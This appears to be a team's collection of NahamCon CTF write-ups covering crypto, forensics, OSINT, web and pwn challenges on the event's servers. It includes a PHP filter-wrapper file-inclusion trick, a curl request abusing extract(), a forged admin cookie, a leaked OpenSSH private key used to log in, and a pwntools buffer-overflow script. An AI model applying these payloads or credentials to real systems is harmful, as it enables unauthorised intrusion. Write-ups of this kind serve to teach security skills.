arrow-left

All pages
gitbookPowered by GitBook
1 of 31

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

HomeCooked

So first we see that running the program slowly decrypts the string to yield a flag - but it's simply not fast enough. It never ends - we can check by putting a print() statement at the end. So, we'll have to somehow make it go faster - and to do this we need to work out what the functions do.

The b() function looks like this:

def b(num):
    my_str = str(num)
    rev_str = reversed(my_str)
    if list(my_str) == list(rev_str):
        return True
    else:
        return False

If we have a look at what it's doing, it seems to be reversing the input and comparing the two - so it returns True if the inputted number is palidromic, and False if it is not. We can't really make this more efficient, at least noticably.

The a() function, however, looks like this:

What this seems to be doing is looping through every value from 2 to n-1 and checking if n is divisible by it - a way of checking if it's prime. However, this is incredibly inefficient, and is probably the reason it takes so long. Let's make it more efficient and see if it does something.

We are going to use the sympy function isprime to change a():

Running this program spits out the full flag much faster now.

flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}

def a(num):
    if (num > 1):
        for i in range(2, num)):
            if (num % i) == 0:
                return False
                break
        return True
    else:
        return False
from sympy import isprime

def a(num):
    return isprime(num)

Crypto

Unvreakable Vase

The encrypted text we got given was

zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=

Some fiddling around with the capitalisation of the base64 characters got us the actually-printable string

ZmxhZ3tkb2VzX3RoaXNfZXZlbl9jb3VudF9hc19jcnlwdG9vb30=

which decoded to yield the flag.

flag{does_this_even_count_as_cryptooo}

DocXor

We used to guess the key, setting the keylength to 4 as this was said in the briefing.

We then used to XOR the file with the key 5a 41 99 bb

It says it determines a .zip file, but when unzipping you realise it's a .docx file so change the extension to get:

flag{xor_is_not_for_security}

this toolarrow-up-right
cyberchef arrow-up-right

Microsooft

As it's a docx file we can extract all the individual parts using binwalk.

binwalk -e microsooft.docx

Then we navigate to /root/Desktop/_microsooft.docx.extracted/src/, open up oof.txt and Ctrl + F for flag.

flag{oof_is_right_why_gfxdata_though}

Alternatively, if you don't want to use the command line, change the extension to .zip and unzip

Navigate into the correct folder and open oof.txt. ctrl + F to search for the flag.

Forensics

Simple App

A with CAndroid, I used 7z to unzip the .apk file.

7z x candroid.apk

Then I grepped all the files to see if there were any references to flag. If there were, I checked them out.

grep -rnw "flag"

This shows match in "classes.dex"

cat classes.dex | grep flag

flag{3asY_4ndr0id_r3vers1ng}

Ooo-La-La

Use n, e and c in .

RsaCTFtoolarrow-up-right

Cow Pie

Running strings on the file yields the flag.

Fake File

Just run

grep -r "flag{" | grep -v "sys"

NahamCon

CAndroid

Firstly I used 7z to unzip the .apk file.

7z x candroid.apk

Then I checked strings to see if there was a flag somewhere. Surprisingly, there was.

strings resources.arsc | grep flag

flag{4ndr0id_1s_3asy}

Volatile

The challenge hinted at the need to use the tool Volatility.

First we run volatility -f memdump.raw imageinfo on the dump to get the OS version. We then use the cmdscan command to check the most recently run commands.

volatility -f memdump.raw --profile=Win7SP1x86_23418 cmdscan

One of these is

echo JCTF{nice_volatility_tricks_bro}

JCTF{nice_volatility_tricks_bro}

New Year's Solutions

You can use dig to check out the URL.

$ dig ANY jh2i.com

;; ANSWER SECTION:
jh2i.com.               3600    IN      A       161.35.252.71
jh2i.com.               21600   IN      NS      ns-cloud-a2.googledomains.com.
jh2i.com.               21600   IN      NS      ns-cloud-a3.googledomains.com.
jh2i.com.               21600   IN      NS      ns-cloud-a4.googledomains.com.
jh2i.com.               21600   IN      NS      ns-cloud-a1.googledomains.com.
jh2i.com.               21600   IN      SOA     ns-cloud-a1.googledomains.com. cloud-dns-hostmaster.google.com. 48 21600 3600 259200 300
jh2i.com.               3600    IN      SPF     "flag{next_year_i_wont_use_spf}"

You can also head over herearrow-up-right and input the URL there.

flag{next_year_i_wont_use_spf}

Really Powerful Gnomes

This challenge wasn't really anything special, just automate the process of fighting bosses until you have enough money to get a new weapon, rinse and repeat until you get the "tank" which can defeat the gnomes, when you do that the flag is printed.

from pwn import *

p = remote('jh2i.com', 50031)
initial = p.clean(1).decode("UTF-8")

p.sendline("6")
p.sendline("1")
new = p.clean(1).decode("utf-8")

for i in range(0, 2500):
  p.sendline("5")

p.sendline("6")
p.sendline("4")
next = p.clean(1).decode("utf-8")
print(next)

for i in range(0, 3000):
  p.sendline("2")

p.interactive()

Steganography

Alkatraz

We can't use cat to read the file, so we'll have to find another way.

while read line; do echo $line; done < flag.txt

OSINT

Mobile

Localghost

Take apart the javascript.

In there there is a reference to flag with some base64 next to it.

Decoding the base64 gives us the flag.

Tron

So first rag went around to common social media sites, and eventually found a GitHub accountarrow-up-right.

There was a pinned repository called Flaggerarrow-up-right. The directory was analysed, but nothing interesting was found except the description.

Capture the Flag service to collect flags

Sorry, your flag is in another castle.

At this point he had to go and I took over.

I decided to check his other repositories, one of which was a fork of a dotfiles repoarrow-up-right. Since the other repo was a dead end, I decided to check this one out.

Something that caught my eye was the descriptive note GitHub added:

This branch is 2 commits ahead of calebstewart:master.

If it was two commits ahead, then this account must have mades those two changes. I clicked the Compare button next to this to check the changes, and they were very interesting.

One of these was an OpenSSH private key.

Another was in .bash_history:

So this was fairly clear; this key was used to SSH into the website on port 50033. I copied the SSH key into a file called key, ran chmod 700 to change the permissions so that it allowed me to use it to SSH, and connected.

Once in, all we had to do was cat flag.txt.

flag{nahamcontron_is_on_the_grid}

ssh -i config/id_rsa nahamcontron@jh2i.com -p 50033
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAxHTNmVG6NLapytFkSDvLytH6aiE5GJRgkCV3mdxr3vLv+jSVs/73
WtCDuHLn56nTrQK4q5EL0hxPLN68ftJmIoUdSvv2xbd8Jq/mw69lnTmqbJSK0gc6MTghMm
3m3FvOoc/Unap6y5CkeqtY844yHsgeXqjVgOaUDsUqMjFAP+SIoQ+3o3aZEweUT4WarHG9
a487W1vxIXz7SZW6TsRPsROWGh3KTWE01zYkHMeO0vHcVBKXVOX+j6+VkydkXnwgc1k6BX
UTh9MOHxAxMK1nV6uC6JQijmUdW9q9YpMF/1VJRVwmzfdZTMTdrGFa7jJl+TxTAiViiBSn
o+IAWdB0Bo5QEoWy+/zzBlpBE9IdBldpH7gj7aKV6ORsD2pJHhbenszS+jp8g8bg8xCwKm
Jm8xNRN5wbdCJXAga5M5ujdXJgihnWtVlodRaZS2ukE+6NWcPx6JdKUpFodLtwO8bBaPFv
mjW9J7hW44TEjcfU2fNNZweL3h+/02TxqxHqRcP/AAAFgNfG1XLXxtVyAAAAB3NzaC1yc2
EAAAGBAMR0zZlRujS2qcrRZEg7y8rR+mohORiUYJAld5nca97y7/o0lbP+91rQg7hy5+ep
060CuKuRC9IcTyzevH7SZiKFHUr79sW3fCav5sOvZZ05qmyUitIHOjE4ITJt5txbzqHP1J
2qesuQpHqrWPOOMh7IHl6o1YDmlA7FKjIxQD/kiKEPt6N2mRMHlE+FmqxxvWuPO1tb8SF8
+0mVuk7ET7ETlhodyk1hNNc2JBzHjtLx3FQSl1Tl/o+vlZMnZF58IHNZOgV1E4fTDh8QMT
CtZ1erguiUIo5lHVvavWKTBf9VSUVcJs33WUzE3axhWu4yZfk8UwIlYogUp6PiAFnQdAaO
UBKFsvv88wZaQRPSHQZXaR+4I+2ilejkbA9qSR4W3p7M0vo6fIPG4PMQsCpiZvMTUTecG3
QiVwIGuTObo3VyYIoZ1rVZaHUWmUtrpBPujVnD8eiXSlKRaHS7cDvGwWjxb5o1vSe4VuOE
xI3H1NnzTWcHi94fv9Nk8asR6kXD/wAAAAMBAAEAAAGANjG+keAAzQ/i0QdocaDFPEMmoG
Zf2M79wGYFk1VCELPVzaD59ziLxeqlm5lfLgIkWaLZjMKrjx+uG8OqHhYuhLFR/mB5l9th
DU8TCsJ09qV0xRVJIl1KCU/hoIa+2+UboHmzvnbL/yH8rbZdCHseim1MK3LJyxBQoa50UH
pTrgx+QGgUkaxi1+QMXs+Ndqq9xVEy36YCY+mVbJw4VAhFr6SmkLfNGgGJ0SCnX6URWlHM
JQkn5Ay6Z6rZSUnhn0sAMNhgBzFGhY3VhpeP5jPYBIbtJUgZ51vDlCQoCBYqXQXOCuLQMB
Efy1uKW+aH0e0Gh07NZyy5AyxHWEtq/zWUJpDrXsmdqbyOW/WX/lAusGkSNj1TPGRcqUl1
4CPJugXgMWWuUuQoRChtKFObCCl7CpjdUdvbKyWDy+Uie/xGZ+dOrU/u4WrwZkkqGKvA6g
SAd6v/RxAdVhaL0xjnPXCgM8e4p9B7EuW3Jy9d15eaGtNp9fpY+SpH4KbHoRom9tXxAAAA
wC2p2qsvXEbiriXaX0WdGa6OYcbr9z5DnG6Kkpwf3K0fb4sm3qvcCrt7owHwiSB1Uy1hng
hLUmUlEgMvVzO0gi/YFCatryIeT9oyQP4wUOLLSSUc4KYg9KuX5crS1Qfo2crAPhkm1n+l
LdiqjAYUB8kL+vU9EuHt0mUA6yrWaVAl4zNP3DOlpB54/v/0yKBEPyHBalU/jv2++NlTRa
FsmU7PV8GD0YuvuHJAVfpnBb8/u4ugpBXciQOS/s734h087QAAAMEA6k6WMSNAmM6SAI2X
5HqwHa19V2AvUUIS0pKbx8Gx3htKq4kHi4Q+tYYAdPFInFO5yauD3/Iv95PakOpiBwTXb1
KK7pzgayc/1ZUN/gHbOgY8WghRY4mnxUg1jQWprlv+Zpk/Il6BdW5db/PmcdQ47yf9IxBA
zcBSCECB1KKFXGUuM3hLowyY77IxQZkZo3VHkkoKhbewQVA6iZacfBlXmEPo9yBNznPG2G
KsjrIILz2ax44dJNeB2AJOvI8i+3vXAAAAwQDWpRmP9vLaVrm1oA8ZQPjITUQjO3duRux2
K16lOPlYzW2mCGCKCd4/dmdpowYCG7ly9oLIZR+QKL8TaNo5zw/H6jHdj/nP//AoEAIFmQ
S+4fBN5i0cfWxscqo7LDJg0zbGtdNp8SXUQ/aGFuRuG85SBw4XRtZm4SKe/rlJuOVl/L+i
DZiW4iU285oReJLTSn62415qOytcbp7LJVxGe7PPWQ4OcYiefDmnftsjEuMFAE9pcwTI9C
xTSB/z4XAJNBkAAAAKam9obkB4cHMxNQE=
-----END OPENSSH PRIVATE KEY-----
ssh -i key nahamcontron@jh2i.com -p 50033

Scripting

PHPhone Book

Visiting the site, you can see that the location phphonebook.php is referenced, however visiting the url as suggested (/index.php/?file=phphonebook.php ) it returns a blank page.

However, there is a trick to get around this - if you add a php filter on it so it encodes the content to base64 as demonstrated below: /index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php

This returns the source code which contains a very interesting piece of php.

extract($_POST);

if (isset($emergency)){
    echo(file_get_contents("/flag.txt"));
}

This essentially means, if there is a variable in the POST request named emergency, it will retrieve the contents of /flag.txt. We did this in two ways, with BurpSuite and with curl, but the curl request was much more simple, all was needed was: curl -X POST 'http://jh2i.com:50002/index.php/?file=phphonebook.php' -d 'emergency=999' | grep flag

Voila, the flag is returned. A relatively simple challenge, but it was definitely interesting to learn about the base64 filter.

Miscellaneous

Rotten

Rotten simply required you to use a caesar cipher to decode the text it sent you. Luckily, once decoded, all the text contained the word send and this allowed us to filter out the correct shift.

import socket
from caesarcipher import CaesarCipher

host = "jh2i.com"
port = 50034


count = 0
flag = [" "] * 30
print(len(flag))

while True:
    s =  socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    while True:
        try:
            data = s.recv(1024).decode("utf-8")
            for i in range(1, 27, 1):
                x = CaesarCipher(data, offset=i).encoded
                if "send" in x:
                    break
            
            if count > 0:
                pos = x.split(" ")[6]
                char = x.split(" ")[11].replace("\n","")
                print(pos, char)
                flag[int(pos)] = char

            s.sendall(data.encode())

            if len(data) == 0:
                break
            
            count += 1
        except:    
            print("error", flag)
            s.close()
            count = 0
            break
    if " " not in flag:
        break
        u = ""
        for i in flag:
            u += i
        print(u)

Web

KSteg

The title and description implies that K is replaced with J.

So, we install the tool jsteg and simply run jsteg reveal luke.jpg.

flag{yeast_bit_steganography_oops_another_typo}

Pwn

Official Business

Going to /robots.txt reveals the server source code, along with some authentication checks.

We didn't really do this the intended way.

Set the auth cookie to

auth=7b2275736572223a202261646d696e222c202270617373776f7264223a202270617373222c202261646d696e223a20747275652c2022646967657374223a2022686173686c69622e736861353132287365637265745f6b6579202b206279746573286a736f6e2e64756d707328636f6f6b69652c20736f72745f6b6579733d54727565292c205c2261736369695c2229292e6865786469676573742829227d

which is the encoded form of

{'user': 'admin', 'password': 'pass', 'admin': True, 'digest': 'hashlib.sha512(secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii")).hexdigest()'}

This makes the SHA512 comparison always true, allowing you to log in as the admin.

Agent 95

Change your User-Agent to the Windows 95 profile and you see the flag.

Dangerous

Disassembling it with radare2 and gdb doesn't really seem to spit out anything interesting (as the binary is stripped), but we can use string to see that flag.txt is within the binary. This hints that there is actually something there.

So, to check it out, I disassembled the binary in GHidra. Sure enough, FUN_0040130e had some basic C code to read the file and output the results.

void FUN_0040130e(void)

{
  char local_218 [524];
  int local_c;
  
  local_c = open("./flag.txt",0);
  read(local_c,local_218,0x200);
  close(local_c);
  puts(local_218);
  return;
}

All we had to do was overflow the buffer and execute the function.

Using ragg2 I found that the padding was 497 bytes.

flag{legend_of_zelda_overflow_of_time}

from pwn import *

p = remote('jh2i.com', 50011)

p.clean(0.2)

payload = b'A' * 497
payload += p64(0x40130e)

p.sendline(payload)

print(p.clean(1))